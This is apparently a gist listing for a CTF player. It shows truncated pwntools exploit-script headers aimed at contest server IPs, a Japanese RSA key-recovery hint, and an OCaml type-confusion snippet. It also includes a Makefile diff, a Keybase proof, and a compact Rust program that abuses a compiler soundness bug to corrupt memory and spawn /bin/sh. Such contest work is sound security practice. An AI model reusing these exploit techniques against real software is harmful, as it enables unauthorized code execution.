moratorium08

crypto

$ ed - 1 = k(p-1)(q-1) $ になるはずなので、pow(e, -1, (p-1)(q-1)) が計算できる

moratorium08

from __future__ import division, print_function
import random
from pwn import *
import argparse
import time

host = "49.12.105.124"
port = 15010

moratorium08

from __future__ import division, print_function
import random
from pwn import *
import argparse
import time


context.log_level = 'error'

parser = argparse.ArgumentParser()

moratorium08

from __future__ import division, print_function
import random
from pwn import *
import argparse
import time


context.log_level = 'error'

parser = argparse.ArgumentParser()

moratorium08

type t = A of int | B of (bytes)
type s = C of int | D of (string )
type t2 = E of int | F of (int ref)
type s2 = G of int | H of (int -> string)
let s = "hogefugakasukasukasu"
let bye (x1, x2) y =
   match (x1, x2) with
    (false, _) -> "a"
  | (_, {contents=G _}) -> "b"
  | _ when (x2 := G y; false) -> "c"

moratorium08

from __future__ import division, print_function
import random
from pwn import *
import argparse
import time


context.log_level = 'error'

parser = argparse.ArgumentParser()

moratorium08

fn a(_:u64,_:u64){print!("{}",0x50f0000003bb8u64)}fn b(_:u64,_:u64){}fn h<'a,'b,T>(_:&'a&'b(),v:&'b mut[T])->&'a mut[T]{v}#[inline(never)]fn g<'a,T:Copy>(x:T)->&'a mut[T]{let f:fn(_,_)->_=h;print!("{:p}",&x);f(&&(),&mut[x;0x100])}pub fn main(){let x=g(0u64);let y=g(if x.as_ptr()as u64>>1>0{a}else{b});x[4]+=0x18f8;y[4]("/bin/sh\0".as_ptr()as _,0)}

moratorium08

diff --git a/Makefile b/Makefile
index 805ad11..ca019d0 100644
--- a/Makefile
+++ b/Makefile
@@ -39,13 +39,13 @@ revision.ml: $(FPAT_LIB) Makefile Makefile.config
 	@echo make revision.ml
 	@rm -f $@
 ifdef GIT
-	@echo -n 'let mochi = Some ("' >> $@
-	@if [ $$(${GIT} diff | wc -w) != 0 ]; then echo -n _ >> $@; fi

moratorium08

Keybase proof

I hereby claim:

• I am moratorium08 on github.
• I am moratorium08 (https://keybase.io/moratorium08) on keybase.
• I have a public key whose fingerprint is D8E5 7135 F550 9BD5 1F8A 9908 FD75 EB84 E124 849A

To claim this, I am signing this object:

moratorium08

from __future__ import division, print_function
import random
from pwn import *

log = False
is_gaibu = True
if is_gaibu:
    host = "34.85.75.40"
    port = 30002
else: